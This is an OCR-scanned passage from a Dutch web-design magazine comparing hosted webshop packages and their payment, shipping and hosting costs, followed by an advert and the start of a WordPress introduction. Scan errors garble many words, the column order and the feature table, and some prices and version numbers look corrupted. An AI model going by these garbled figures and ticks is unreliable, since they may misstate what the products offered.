winkeltje staan webhosters je graag terzijde 
metaantrekkelijke bouwpakketten. 


In Hrirttelmandje: 3 
TirtsaiijMirag: € 297 


Overzicht 


informatie geven dan alleen de naam en de 
prijs en wil je bijvoorbeeld ook een foto toe- 
voegen, Als je kleding verkoopt, is het niet 
handig om voor iedere maat een apart pro¬ 
duct aan te maken, maar wif je bij een t-shirt 
de mogelijkheid bieden om die in de maten 
5 tot en met XXL te kunnen bestellen. 

Het vullen van de vakken van de web- 
win kel zal het grootste dee! van hex werk 
zijn. Zeker als je alle producten een voor een 
moet invoeren. Sommtge aanbieders bieden 
de mogelijkheid om een Excel-bestand met 
daarin je assortiment in te lezen, zodat het 
vullen In een slag kan. Als je daarbij aan kunt 
geven hoeveel exemplaren van een product 
je in voorraad hebt, kan de klant in de web- 
winkel ook meteen zfen of het product voor- 
radig is. Dat betekent wel dat de voorraad 
actueef gehouden moet worden, dus een 
mogelijkheid tot voorraadbeheer is dan wel 
wenselijk. 


advertentie naar een vriend of vriendin 1 van 
Marktplaats.nl) dan heb je daar zeJf geen 
omkijken naar. 

De beste manier voor een webwinkel om 
koopgedrag te stimuleren is cross-selling. 
Dat laat zich het best illustreren door "Lief- 
hebbers van dit boek bestelden ook" van 


Vakken vullen 

We kiezen voor een variant waarbij we mi- 
nimaaJ 1000 producten kunnen aanbieden. 
JVlisschien lijkt dat veel, maar een beetje 
buurtsuper komt daar al ruimschoots boven, 
Om zoveel producten overzkhfelijk in een 
assortiment onder te brengen, is het voor 
zowel de klant ais de winkelier handig dat 
die in categorieen en zo mogelijk subcate- 
gorieen kunnen worden ondergebracht. En 
natuurlijk wil je over een product ook meer 


Shoppen 

Om een zo hoog mogelijke omzet te krij- 
gen, moet je de kianten verleiden om bij je 
te kopen, Dat kan onder meer door midde! 
van aanbiedingen en kortingen. Maar dat 
kan ook door de bestaande kianten regei- 
matig een nleuwsbrief te sturen met daarin 
de laatste toegevoegde producten of andere 
informatie. Als je de kianten de mogelijkheid 
biedt om hun vrienden van een product op 
de hoogte te brengen (verge!ajk ’E-mail deze 


Bol.com, waarbij artikelen die gerelateerd 
zijn aan het product waar de klant op dat 
moment naar kijkt worden getoond, in de 
hoop dat daarmee hun aandacht ook op an¬ 
dere artikelen wordt gevestigd. Cross-selling 
kan op twee manierem handmatlg en auto¬ 
matised Je kunt van je assortiment zeif aan- 
geven weike producten met elkaarte maken 
hebben, zodat die ook op dezeifde pagina 
worden aangeprezen. Dan houd je zelf meer 
in de hand hoe de klant door je winkel heen 
zal wandelen. Bij automatische cross-sdling 
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warden de gerdateerde producten bepaatd 
door bijvoorbeeld het aankoopgedrag van 
eerdere klanten. Het is van belang om van 
tevoren te bepalen of en hoe je dit wilt gaan 
gebruiken, omdat niet afle systemen met alle 
vormen om kunnen gaan. 

Een andere manier om klanten te lokken, is 
integratie met eBay, Op deze veilingsite kun 
je een eigen shop openen* Als die gekoppeld 
kan worden aan je eigen on fine webwinkei, 
heeft dat een groot aantal voordelen. Je trekt 
meer klanten die via eBay langs jouw assor- 
timent komen en dan met de "Nu Kopen"- 
mogelijkheid je omzet verhogen. Een ander 
duidelijk voordeef is dat dit met dezelfde 
webapplicatie kan, je hoeft er dus geen extra 
administratie op na te houden. 

Een verplicht nummer voor iedere web- 
winkel is een zoekfunctie. Als klant moet je 
gericht met een trefwoord kunnen zoeken 
naar een bepaajd artikel zonder meteen te 
moeten weten onder welke rubriek en sub" 
rubriek dat te vinden is. Zeker als het assor- 
timent groter wordt, is een zoekfunctie on- 
ontbeerlijk. 

Beta ten 

Hoe je het ook wendt of keert, het doel van 
een winkel is verkopen, en dus moet de af- 
handeling van de betaling zo makkeiijk mo- 
gelijk zijn. En dan liefst voor zowel de koper 
als de verkoper. De meest stmpele variant is 
een dlrecte oversell rijving: de klant plaatst 
een bestelling en maakt het esndbedrag over 
op de rekening van de verkoper. Zo gauw het 
geld binnen is, verzendt die de goederem In- 
derdaad een stmpele manter, maar wel een 
die tijd en moeite kost: de klant moet geld 
overmaken, wachten tot het op de rekening 
van de verkoper is bijgeschreven en vervol- 
gens wachten tot de producten geleverd 
worden. De verkoper heeft extra adminis- 
tratieve handelingen, moet ktjken war er al- 
lemaal op zijn rekening is bijgekomen en bij 
welke bestellingen de bijschrijvingen horen. 

Een verzending onder rembours lijkt dan 
een makkelljkere oplossing: de spullen wor¬ 
den meteen verzonden en de klant betaalt 
de postbode aan huts als ze daar aankomen. 
Nadeel daarvan is dat de klant dan per se 
thuis moet zijn of alsnog zelf naar het post- 
kantoor moet gaan om zijn bestelling op te 
halen, waarbtj ook nog eens rembourskosten 
(6 euro) moeten worden befaald, 

Dit gaat een stuk klantvriendelijker met 
eert automat!sche incasso. De kiant geeft 
daarbij toestemming aan de winkelier om 
het totaalbedrag (eenmalig) van zijn bankre- 
kening af te schrijven. Automatische incasso 
kost de klant dus geen extra moeite, de ver¬ 
koper blijft de administratie doen en betaalt 
ook voor iedere automatische incasso (onge- 
veer 0,25 euro). 

Voor de winkelier is beta fen met een ere- 
ditcard betrouwbaarder. Het bed rag wordt 
dan meteen op je rekening bijgeschreven, 
de klant krijgt later de rekening van zijn cre- 
ditcardmaatschappij. De klant betaalt geen 
extra transactiekosten maar de web winkelier 


wel. Het integreren van een betalingsmoge- 
lijkhetd met een creditcard in je webwinkei is 
normaal niet echt simpel. Dat kan niet recht- 
streeks by de creditcardmaatschappij, daar 
moet een intermedtair zoals Bibit of Paynova 
tussen zitten. Dat kost je be halve een start- 
bedrag van een paar honderd euro vaak ook 
zo'n 5 procent per transactie, voor kleine be- 
dragen is dat meer. 

Innen 

Als je gebruik wilt maken van betaling via 
creditcard, is het aan te raden een web¬ 
winkei te beginnen bij een boster die zo’n 
betaling faciliteert Een aantal aanbieders 
heeft een eigen contract met een Payment 
Service Provider (PSP) en kan daarom eigen 
tarieven hanteren die meestal goedkoper 
zijn, Zo heeft Shoptrader onder andere 
een contract met Buckaroo Online Pay¬ 
ment Services. Dat kost eenmalig 150 euro, 
vervolgens 30 euro per maand voor Visa/ 
MasterCard of iDeal en 0,25 euro per trans¬ 
actie, en daarnaast nog een commissie van 
3-3,5 procent voor de creditcardmaatschap¬ 
pij, Andere webwinkel-aanbieders hebben 
weer andere contracten of hebben de kosten 
voor het gebruik van deze betalingsmogelljk- 
heid al in hun maandelfljkse abonnements- 
kosten verwerkt 

Betalen via iDeal neemt steeds meer toe, 
De ban ken hebben de afgelopen jaren inter¬ 
net ook ontdekt en internetbankieren heeft 
een grote vlucht gen omen, Het is dan ook 
niet verwonderlijk dat er een interface geko- 
men is die online betalen aan internetbankie¬ 
ren koppelt. Bij het afrekenen van de bestel¬ 
ling klikt de kfant op het iDeal-logo, kiest zijn 
bank en komt vervolgens op de vertrouwde 
internetbankieren-site van zijn bank, Daar 
wordt de betaling (ingevuld en wel) normaal 
afgehandeld en is de overbooking meteen 
een feit Dit is voor beide partijen een veilige 
en makkelijke oplossing. Bij iDeal betaal je als 
winkelier alleen 0,75 euro per transactie en 
verder geen abonnementskosten of aansluit- 
kosten. 

Bijna alte webhosters bieden dan ook iDeal 
aan, al zijn daar wel kosten aan verbonden. 
De kosten verschillen per aanbieder, bij som- 
migen zijn dat eenmalige kosten, vanerend 
van 50 tot 95 euro, bij anderen zit dat in de 
maandelijkse kosten. 

Sinds de opkomst van de diverse veiling- 
sites en andere plekken waar particulieren 
onderling lets kopen en verkopen, biedt 
PayPal de mogelijkheid de financiele kant 
makkefijk af te handelen* Je kunt het ver- 
gelijken met een financiele buffer; de koper 
stort geld op zijn Pay Pal-account door een 
bankoverschrijving of met zijn creditcard 
en kan daarvan weer geld overmaken naar 
een ander PayPal-account. Je kunt als han- 
delaar het geld dan weer van je PayPal- 
account naar je eigen bankrekening over- 
boeken. Voor een handelaar zijn de kosten 
beperkt tot 0,35 euro per transactie plus 3,4% 
van de transactiekosten, De meeste webwtn- 
kel-aanbieders ondersteunen PayPal. 


Het moge duidelijk zijn dat je van tevoren 
even goed moet nadenken over welke beta- 
lingsmogelijkheden je aan wilt bieden. Het 
is de vraag of de kosten opwegen tegen het 
gemak en of de omzet voldoende zal zijn om 
de meerkosten te dekken, Er zijn wat prijzen 
en mogelijkheden betreft grote verschillen 
tussen de diverse aanbieders, het loont dus 
om er even goed voor te gaan zitten. 

Verzenden 

Het binnenhalen van de bestelling is nog 
sfethts het halve werk, de goederen moe¬ 
ten ook verzonden worden. Als de verzend- 
kosten aan de klant worden doorberekend, 
moeten die ook bij de betalingsafhandeling 
meegenomen worden. Soms b het mogelijk 
om de verzendkosten afhankelljk te maken 
van de grootte van de bestelling. 

Je bespaart jezelf wat administratieve 
rompslomp als de webwinkelapplicatie zelf 
facturen, pakbonnen en verzendetiketten 
kan genereren, De klant vindt het wel pret- 
tig als hij na het bestellen automatisch een 
e-mail krijgt met daarin een bevestiging van 
zijn bestelling. Toch is dat niet bij iedere aan¬ 
bieder vanzeifsprekend. 

De verzonden artikelen moeten bij het 
voorraadbeheer uitgeboekt worden, zodat 
de andere online klanten op de hoogte blij- 
ven van de huidige voorraad, Bij sommige 
webwtnkels kan een product tijdelijk uit het 
assortiment worden gehaald als er geen 
voorraad meer is of kun je een waarschu- 
wing krijgen dat de voorraad onder een be- 
paald aantal is gekomen, 

Vaak zul je een eigen back-office systeem 
hebben voor klanten en producten. Het 
heeft dan wel een groot voordeel ais je de 
informatie van dat systeem makkeiijk kunt 
uitwisselen met de online winkel. Het im- 
porteren van producten hebben we a! ge- 
noemd, maar hetzelfde geidt ook voor het 
exporteren van bestellingen en klantgege- 
vens, zodat je het back-office systeem up-to- 
date kunt houden. 

Hosting 

Je webwinkei draait op een server die in de 
meeste gevallen ook van de aanbieder van 
de webwinkelapplicatie is. De meeste web- 
winkelpakketten zijn dan ook gecombineerd 
met een webhostingpakket. Standaard krijg 
je daar een eigen domein voor je winkel bij. 
Hoe meer producten je aan wilt bieden, hoe 
meer ruimte je nodig hebt, Als je voor ieder 
product een foto van een fatsoenlijke kwa- 
liteit en wat extra informatie toevoegt, kom 
je a I snel aan een paar honderd kilobyte per 
product Voor 1000 producten heb je dan 
minstens 250 MB aan opslagruimte nodig. 
Mocht je webwinkei dan ook nog eens po- 
pulair worden, dan moetje niet te krap in de 
toegestane hoeveelheid dataverkeer zitten 
en geen naheffing achteraf krijgen, Versieu- 
teld dataverkeer heeft de voorkeur, zodat 
niet iedereen de bestef- of kfantgegevens 
zou kunnen inzien. 
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De meeste webwinkels werken met PHP en 
een MySQL-database. Voor de winkelier is 
dat niet echt interessant, sommige aanbie- 
ders melden niet eens wat er aan de achter- 
kant allemaal gebeurt. Maar als je zelf wat 
extra paglna's wilt toevoegen of op een an- 
dere manier lets met de database wilt doen 
of de schijfrutmte ook voor andere dingen 
wilt gebruiken, is bet wet handig ah je daar 
via ftp bij kunt 

Vanzelfsprekend wil je na verloop van 
ttjd ook wel eens weten hoeveel bezoekers 
je winkel heeft gehad, of welke paginal bet 
vaakst of helemaal niet zijn bezocht Dat is 
nog de rmeest simpele vorm van statistieken, 
die heeft iedere webwinkel we!. Het wordt 
leuker ah je ook overzichten van bestellin- 
gen en omzet kunt genereren, zodat je op 
grond daarvan bijvoorbeefd gerichte aan- 
biedingen kunt doen of wijzigingen in je as¬ 
sortment kunt aanbrengen. 

Kleine zelfstandige 

Als je een webwinkel hebt uitgekozen en 
een lay-out hebt gemaakt, al dan niet op 
basis van een van de vele sjablonen die iede¬ 
re aanbieder heeft kun je aan de slag om de 
winket te vullen. Als dat proces, al dan niet 
moeizaam, is afgesloten en de betalingsmo- 
gelijkheden zijn ingesteld, kan de verkoop 
beginnen, Nu is het wachten tot de bestel- 
lingen binnen begfnnen te stromen. 

Het is goed even stil te staan bij de formele 
status die je op dat moment hebt. In principe 
ben je commercieei bezig en moet je dus 
als zelfstandige ondernemer bij de Kamer 
van Koophandel geregistreerd staan. Ook 
moeten de klanten BTW betalen over hun 
bestellingen die jij op jouw beurt weer aan 
de belastingdienst moet afdragen Je hebt 

De beheer- 
module van 
WizBizz is 
sober ge- 
houden en 
blijft daar- 
door over- 
zkhtelijk. 
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Het beheer 
van een web¬ 
winkel van 
123 webshopts 
overzichtelijk en 
biedt toch alle 
basisfuncties. 



Bij One-Stop- 
Webshop zijn 
veel beheer- 
details in te 
stellen, zoals 
hter de bere- 
kening van de 
verzendkosten. 


dus ook een BTW-nummer nodig. Bovendien 
moet je er voor zorgen dat je administrate 
goed op orde is, omdat je aan het eind van 
het jaar belastingaangifte moet doen, En afs 
je het helemaal goed wil doen moetje jeook 
nog houden aan de Europese wetgeving in- 
zake verkoop via Internet (koop op afstand), 
bijvoorbeeid het verstrekken aan de klanten 
van volledige en correcte informatie en eon- 
tactgegevens. 

Om een gratis webwinkeltje te begin¬ 
nen voor je zeffgemaakte sieraden zal dat 
allemaal wel niet nodig zijn, maar als er wat 
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Het beheer van 
de verzend¬ 
kosten etc. 
lijkt bekend; 
Shoptrader is 
net als Wizbizz 
gebaseerd op 
het open- 
source pakket 
osCommerce. 


meer omzet gegenereerd gaat worden, is 
het toch aan te raden inderdaad eerst even 
bij de Kamer van Koophandel langs te gaan'. 

123webshop 

De webwinkels van 123webshop zien er al¬ 
lemaal ongeveer hetzelfde uit. Er zijn wat 
kleurtjes in te stellen en je kunt een eigen 
logo toevoegen, maar de hoofdlay-out blijft 
hetzelfde. Dat Is geen nadeel, want alle be- 
langrijke functies zijn goed berelkbaar. 

Aan iedere p rod u etc a teg one kunnen sub- 
categorieen op het eerste niveau worden 
toegevoegd. Zeker bij een groter aantal pro- 
ducten Is dat aan te raden, anders worden 
de pagina's met artikelen al snel erg lang. 
123webshop is dan ook primalr gericht op de 
wat kleinere webwinkels. Dat betekent niet 
dat de mogelijkheden beperkt zijn: alle gang- 
bare functies zijn gei mplementeerd en bin¬ 
nen bepaalde grenzen ook goed bruikbaar. 

De pakketten L, XL en XXL versohillen al- 
leen in webruimte, respectievelijk 250, 500 
en 1000 MB, en natuurlijk in prijs: 9,95, 14,95 
respectevielijk 24,95 euro. Daar hoort beta¬ 
len via PayPal standaard bij. IDeal is ook te 
gebruiken voor eenmalrg 50 euro aan acti¬ 
ve tiekosten. Rechtstreeks betalen met een 
creditcard kan niet. 

One-Stop-Webshop 

Bij One-Stop-Webshop kun je kiezen voor de 
standaard lay-out of je kunt voor 99 euro een 
van de uitgebreidere templates nemen. Die 
kunnen zonder meerkosten ook aan je eigen 
huisstijl en logo worden aangepast. De web¬ 
winkels op basis van One-Stop-Webshop 
zijn dan ook niet meteen onderling uitwis- 
selbaar, er is een duidelijk eigen karakter aan 
te geven. 
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Erzijn vtjf pa kketten: Internet Kassa Only, Start, 
Basic, Advanced en Multishop. Internet Kassa 
Only is bedoeld voor bedrijven die al een 
eigen webwinkel hebben en de beta ling via 
One-Stop-Webshop willen regelen. Bij Start 
kun je maar 20 producten aanbieden, bij In¬ 


ternet kassa en Basic 150, zodat we al snel bij 
de Advanced-versie uitkomen, daarbij is het 
aantal artikelen onbeperkt. Met een server- 
mimte van 750 MB zal dat met 1000 artikelen 
weE lukken, maar erg veel meer rnoeten dat er 
ook niet zijn. De opstartkosten van 250 euro 


en het maandelljks abonnement van 59,95 
euro lijken aan de hoge kant in vergelijktng 
met de andere webwinkels, maar daarvoor 
zitten PayPal, iDeal, Visa en MasterCard stan¬ 
daard in het pakket, Indien je meerdere apar- 
te winkels wilt hosten, kun je voor Multishop 
kiezen. Daarvoor krijg je meer serverruimte 
(1500 MB}, maar de opstartkosten zitten op 
maar liefst 750 euro en de maandelijkse abon- 
nementskosten op € 99,95, waar bovendien 
voor elke additionele winkeE nog 10 euro per 
maand bijkomt. 

Je kunt talloze zogenaamde extra modules 
en koppelingen aanschaffen waarmee je de 
mogelijkheden en functionaliteit van je web¬ 
shop kunt uitbretden, zoals extra taalmodules 
(Netherlands en Engefs zfjn al standaard aan- 
wezig) of het uitbesteden van de verzendin- 
gen aan TNT. Aan elke dienst zit een (eenma- 
lige) betaling gekoppeld, die per module kan 
varieren van 75 tot 350 euro. Aan de beheer- 
derskant kun je alles uitgebreid instellen. 

WizBizz 

De lay-out van een WizBizz-webwinkel is 
overzichtelijk en functioneel. Er zijn genoeg 
mogelijkheden om er met kleuren en afbeel- 
dingen een eigen uitstraling aan te geven. 

Ookde beheermodule is sober uitgevoerd, 
en dat is maar goed ook, anders zou je de 
weg kwijtraken in de vele mogelijkheden. 
Produet(sub)categorieen zijn ongelimiteerd 
te gebruiken. Betalen met creditkaart gaat via 
PayPal,Ogone of Buckaroo. iDeal kost eenma- 
lig 95 euro. 

WizBizz is alleen een webwinkel en kost 250 
euro. Daar moet dus nog hosting bij. Omdat 
het aantal producten in principe onbeperkt 
is en dus afhangt van de opslagruimte kiezen 
we voor het basispakket van 100 MB voor 15 
euro per maand. Mochten we daar uitgroeien 
dan kunnen we nog opwaarderen naar het 
Pro-pakket van 200 MB voor 25 euro, anders 
moet je de webwinkel extern hosten en ben 
je eenmallg 75 euro kwijt voor de Installatie 
van WizBizz. 

Shoptrader 

De website van Shoptrader doet het onder 
Flrefox 2.0 met goed, de stijlen worden niet 
goed geladen en dat doet het ergste vrezen 
voor de webwinkels die met Shoptrader zijn 
gemaakt. Die angst blijkt ongegrond, de voor- 
beeldsites zien er prima uit. We kiezen voor de 
variant Shoptrader Pro waarmee 2000 artike¬ 
len kunnen worden aangeboden voor 29 P 50 
euro per maand 

PayPal is standaard, IDeal kost 7,50 euro 
per maand extra. Voor andere banken en be- 
talingen met Visa, MasterCard of American Ex¬ 
press maakt Shoptrader gebruik van Payment 
Service Provider Buckaroo, waarbij je 150 euro 
kwijt bent aan aansluitkosten. Daarbij komen 
nog 30 euro per maand voor iDeal, 30 euro 
voor Visa/MasterCard, 10 euro voor American 
Express en 10 euro voor eenmalige machti- 
gingen, naast de 7,50 euro voor Shoptrader 
om deze betalingsmogelijkheden te kunnen 


Online webwinkelsystemen 



123 webshop 

One-Stop- 

Webshop 

WizBizz 

ShopTrader 

Mijnweb- 

winket 

Strato 

Website 

WWW. 

123webshop.nl 

www.one-stop- 

webshop.nl 

WWW. 

wizbizz.nl 

WWW. 

sboptrader.nl 

www.mijnweb 

wlnkel.nl 

www.strato. 

nl/shops 

Variant 

Pakket XXL 

Advanced 

Basis 

Shoptrader Pro 

Professional 

AdvancedShop 

Producten 

Maxlmaal aantal producten 

onbeperkt 

onbeperkt 

onbeperkt 

2000 

onbeperkt 

1000 

Maximal aantal categories 

onbeperkt 

onbeperkt 

onbeperkt 

onbeperkt 

onbeperkt 

100 

Hierarchtsthe categorieen 

v' 



v/ 



Pradurtdetalls 



n/ 

'Z 

v' 


Product variants 


v' 





Product-slideshow 

- 

- 

- 

- 

- 


Minimum besteillng ofwaarde 

- 


- 

- 

- 


Kwantumkarring / staffelprijzen 


y/y 


y/y 

y/y 

yfy 

Aanbiedingen 

v' 

y 


y 

- 

y 

Beschikbaarheidsweergave 




y 

- 

y 

Shopdesign 

Gntwerp via browser 

1/ 

s/ 


s/ 


y 

Meertalig 

- 


- 

- 

- 

y 

Zoekfunctie 

y 


y 

y 

s/ 


Marketing 

Verkoop via. eBay 

- 


- 

- 

- 

v' 

Cross-selling handmatig / automatisch 

- 

yl - 

yl- 

-1- 

-t- 

y f-' 

Hieuwsbrtef/aanbevielen 

yf- 

y/y 

y/y 

y/y 

y/y 

y fy 

Kortlngsbonnen 

- 

y 

- 

- 

- 

y 

Keurmerfc Trusted Shops 

- 

- 

- 

- 

- 

y 

Statist ieken 

v" 

v' 

y 

y 

y 

y 

Verz ending/ betaling 

Gestaffelde verzendkosten 

- 

✓ 

y 

y 

y 

y 

Verzendetiketten 


- 

- 

TPS 

TNT 

UPS 

Creditcard / incasso / remboure 

-fyfy 

y/y/y 

^ fy fy 

fy fy 

-fyfy 

y fy fy 

PayPal /iDeal / Paynova 

yfyf- 

y/y/- 

y/yf- 

y fy /- 

- fy J /- 

y fy fy 

BTW-berekenhg 

y 

y 

y 

y 

x/ 

y 

Meerdere valuta 

- 

y 

- 

- 

“ 

y 

Be beer enklantgeg evens 

Factuur / pakbon 

y/y 

y t- 

y fy 

yfy 

y f- 

- A f - 4 

E-maiibevestigmg 

- 

y 

y 

- 

- 

y 

Voorraadbeheer 

y 

y 

y 

y 

y 

y 

Klantbeheer 

y 

y 

- 

y 

- 

y 

Import / export klantgegevens 

-/- 

-/y 


-/- 


yif- 

Import t export producten 

yt~ 

y/y 

yi- 

y/y 


y/y 

Import / export bestellingen 


-fy 

-!- 

-f- 

-l- 

-fy 

Webhosting 







Aantal dnmeinen 

i 

i 

1 

1 

i 

1 

Opslagruimte (MB) 

1000 

750 

100 

- 

fair-use 

500 

DataverfeeertGB/maandl 

25 

15 

5 

- 

fair-use 

20 

SSL-versfeiit&ling (128 bit) 

- 


- 


- 


FTP-toegang 

nvt 

nvt 


nvt 

nvt 

5 

PHP4/PBP5/ Perl 

nvt / nvt / nvt 

nvt f nvt/ nvt 

^ fy f^ 

nvt / nvt / nvt 

nvt / nvt / nvt 

x/ fy fy 

Databases 

nvt 

nvt 

3 

nvt 

nvt 

2 

MySQL4/ My5QL5 / PostgreSQL 

nvt / nvt / nvt 

nvt/nvt/nvt 

WW- 

nvt / nvt / nvt 

nvt / nvt / nvt 

yfy/- 

Back-office 

eigen 

eigen 

osCnmmerce 

osCommerce 

eigen 

ePages 

Beoordeling 

Bediening 

O 

O 

0 

O 

O 

© 

Vormgeviog webshop 

O 

© 

O 

O 

O 

0© 

Functieomvang 

o 

© 

© 

© 

© 

© 

Prjjs / contract 

1 1 , l li 1 

Instellingskosten (exd. BTW) 

- 

€250 

€250 

(webwinkel) 


- 

-- 

Maa ridel Ijkse kasteo (exd BTW) 

€ 24,95 

€59,95 

€15 

(hosting} 

€29,50 

€19 

€27,90 

Minimale duur (maanden) 

12 

nb 

12 

12 

12 

12 


1 e-mailadressen 2 alleen via Moiite BV 3 Wfii via SiBit en Way2Pay 4 wel WJ her PremkimSFiop-pafcket 1 eewnaiig € 250 
®®zeergoed @goed Qvuirtoemfe ©sfetfit ©©zeersiethf ✓ aanwezig - niet wmislg nfa niet bttend 
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Bij Mijnwebwinkel kun je begin nen met een gratis winkel (maar wel met Google Adsense 
reclame) en later naar een betaalde versie overschakelen. 


gebruiken. Het kan dus aardig in de papieren 
lopen als je alle beta ling smog elijkheden wilt 
aanbieden. 

Bij het bebeer van de webwinkel bekrutpt 
ons het gevoel van een d£j£ vu; Shoptrader 
komt qua bediening wel erg overeen met 
WizBizz. Het blijkt dat beide webwinkels geba- 
seerd zijn op het opensource webwinkelpakket 
osCommerce (zie Softlink). Alleen oogt het 
hier aflemaal wat vriendelijker en verzorgder. 

IVlijn webwinkel 

De webwinkels van IVlijn webwinkel zijn dui- 
delijk herkenbaar, de klant ziet meteen wat de 
mogelijkheden zijn. Je kunt een gratis web¬ 
winkel maken en deze dan later upgraden 
naar een Professional-versie. Bij de gratis verste 
krijg je ook ’gratis' Google Adsense reclame. 

In de gratis versie kun je 50 producten 
kwijt, in de Professional-versie is dat aantal 
onbeperkt. Er zijn dan geen limieten voor 
schljfruimte en dataverkeer, maar er wordt 
wel een fair-use-pot icy gebruikt zonder dat 
duidelijk wordt wat dat inhoudt 

Voor de betalingen heeft Mijnwebwinkel 
een overeen komst met Mol lie BV om Deal te 
gebruiken. Daar beta a I je geen vaste kosten 
voor, alleen de fransactiekosten. Daarnaast 
is het mogelijk via Ogone te betalen. Dit kost 
meer, maar dan is het wel voor klanten moge¬ 
lijk om met PayPal of creditcard te betalen. 

Mijnwebwinkel is bedoetd voor de kleine 
kruidenier of startende ondernemer. Dat uit 
zich onder andere in het felt dat je geen pro¬ 
ducten kunt im porte re n van uit bijvoorbeeld 
een Excel-bestand, die zul je dus allemaal stuk 
voor stuk hand mat ig via de web-interface in 
moeten voeren. Bij meer dan 100 producten 
wordt dat al vrij snel een verschrikkelijk werk. 

Strato 

Sinds enkele jaren timmert het van origine 
Duitse webhosting bedrijf Strata stevig aan 


de weg, Het is in zes landen actief en noemt 
zich "Europa's op een na grootste webhos- 
ting-aanbieder 11 . Naast webhosting is Strato 
ook aanbieder van webshops. 

Door de integrate met Paynova kan er 
bij de webwinkel betaald worden met cre¬ 
ditcard en via IDeal zonder eenmalige of 
periodieke kosten. Die mogelijkheid bestaat 
vanaf de Strato AdvancedShop, die we toch 
al nemen omdat de BasicShop maar ruimte 
biedt aan 100 producten, Je kunt ook van 
alternative betalingsmethoden gebruik 
maken, zoals PayPal of het Srttse Money- 
bookers. 

Ook Strato maakt gebruik van ePages en 
heeft een WYSIWYG-editor voor het in voe¬ 
ren van de product informat ie en productva- 
rtanten, hetgeen het assortimentbeheer wat 
prettiger maakt Er is etgenlijk nog welnig te 


wen sen over en het bl ijft toch beheerbaar. 
Ais je automatisch facturen en pakbonnen 
wilt genereren, zul je het twee keer zo dure 
PremiumShop-pakket moeten nemen. 

Condusie 

Je kunt webwinkels onderschetden in oplos- 
singen van webhosters die een eigen variant 
hebben bedacht, de winkels op basis van 
osCommerce en de webshops met ePages als 
back-office. Bij de webwinkels op basis van 
osCommerce passen de webhosters het be- 
staande open-source pakket aan hun eigen 
wensen en vormgeving aan en kunnen dat 
daarom voor een met a I te hoog bed rag 
aanbieden. Dat leidt tot goed te gebruiken 
webwinkels die qua lay-out wat op elkaar lij- 
ken en waar je soms nog zelf wat aan kunt 
knutselem 

De proprietaire oplosslngen zijn wat be- 
perkter in hun mogelijkheden, met name 
aan de beheerskant. Toch kunnen die mo¬ 
gelijkheden al meer dan voldoende zijn, 
qua prijspeil is dat niet zoveet hoger of lager 
maar dan is de bediening wel makkelijker. 

De meer professionele oplosslngen voor 
de wat grotere webwinkels hebben een uit- 
gebreide back-office en vergen dus ook een 
professioneler beheer. 

Ondanks de ondertinge verschillen in 
mogelijkheden verschillen de webwinkels 
niet zoveei in prijs. Voor 20 tot 30 euro per 
maand is er wel iets te vinden wat bij je as- 
piraties past. Daar komen dan nog wel de 
kosten bij voor het afhandelen van de beta- 
ling via PayPal, Deal en creditcard. Dat kan 
aardig in de papieren gaan lopen, waardoor 
de maandelijkse prijs voor her huren van je 
webwinkel eigenlijk slechts de helft of min¬ 
der van de totale kosten van het exploiteren 
van een webwinkel zijn, (nkr/ddu) 

{ Softlink 09WD028 ct 



Een webwinkel van Strato heeft een professionele uitstraling, alle mogelijkheden zijn 
aanwezig. 
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anaf € 5,25 per jaar 


’ergelijk ons op: 
lnternetten.nl 
[spgids.com 
iostingbedrijven.nl 
rebhosters.nl 
iosting-vergelijk.nl 
iostingvergelijker.nl 


SPECIALE ACTIE 

WebDesigner lezers krijgen 50% korting 
zie: www.domeinruimte.nl/webdesigner 


Deze software makkelijk beheren en nog veel meer mogelijkheden! 


Hoomla - cms Advanced Poll - enquete MediaWiki - wiki 

wordPress * blog Coppermine - fotoalbum phpBB - forum 

HlediaWiki - Wiki SugarCRM - CRM Eigen .htaccess en php.ini 


www.domeinruimte.nl 

voor als het echt moet werken 
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Vladimir Simovic,Thordis Bonfranchi-Simovic 


Word je eigen uitgever 

De eerste stappen met publicatieplatform WordPress 


WordPress is tegenwoordig veruit de populairste blogsoftware. Het is erg 
flexibel doordat het naar believen met onnoemeiijk veel plug-ins kan worden 
uitgebreid. Met dit inleidende artikel willen we de sterke kanten van het 
pakket faten zien, maar ook aangeven in wetke gevallen je beter voor een 
ander programma kunt kiezen. Op welke punten blinkt WordPress uit en op 
welke punten is het misschien eerder de tweede keus? 


D e PHP-software WordPress maakte 
sinds de introductie op 9 juni 2003 
razendsnel carriere en Met uitein- 
delijk het oudere Movable Type ver achter 
zich. Inmiddels wordt WordPress niet alleen 
gebruikt voor weblogs, maar doet het ook 
dienst a Is contentmanagementsysteem. In 
die hoedanigheid wordt het ook ingezet 
voor online projecten die weinig of niets 
met bJogs van doen hebbem Daarbij kun je 


den ken aan zakelijke websites, een nieuws- 
brievenarchief, websites met evenementen- 
tips, enzovoort 

Enkele kenmerken van WordPress zijn dat 
het gratis en open is. Die eigenschappen 
hebben er mede voor gezorgd dat er een 
grate en uiterst actieve community ontstaan 
is. Deze community heeft op zijn beurt een 
enorm pakket aan - eveneens gratis - plug¬ 
ins en lay-outsjablonen ontwikkeld, Lay- 


outsjablonen worden in de WordPress-ter- 
minologie ’themes* genoemd, 

Downloaden en installeren 

WordPress is open source software en staat 
onder de GNU General Public License (GPL). 
Het pakket steft maar weinig eisen aan de 
server. Aan de voorwaarden om een Word- 
Press-website te draaien, voldoet dan ook 
vrijwel elke webhoster. Vanaf WordPress 
versie 4.3 is wel MySQL-versie 4 of rvieuwer 
nodig. 

Hoewel WordPress ook overweg kan met 
andere webservers, geniet Apache als om- 
geving de voorkeur. Meestal levert dat geen 
problemen op, want bij de meeste hesters 
is dat standaard. Bij voorkeur moet Apache 
wel met een geactiveerde mod_rewrite- 
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Het nieuw vormgegeven WordPress-Dashboard biedt de beheerder meer ruimte en 
flexibiJitelt. 


module draaien en moet WordPress toe- 
gang hebben tot het .htaccess-bestand. Als 
aan die voorwaarden voldaan wordt, kan 
het systeem correcte URL's en permalinks 
genereren. 

De meest recente WordPress-versie kun 
je van de officiele website www.word press, 
org downloaded Nadat je het gezipte pak- 
ket gedownload en uitgepakt hebt, moet 
je voordat je het geheel naar de server van 
de hoster uptoadt, eerst het configuratiebe- 
stand wp-conflg-sample.php van WordPress 
aanpassen. Voor een juiste werking heeft 
het systeem hier de toegangsgegevens 
voor de MySQL-database nodig. Deze gege- 
vens krijg je van je hoster Vervolgens sia je 
het bestancf op onder de naam wp-config. 
php en upload je de uitgepakte en aange- 
paste bestanden met een ftp-client naar de 
server. 

De eigenlijke installatie begint met het 
aanroepen van de Wordpress-startpagina 
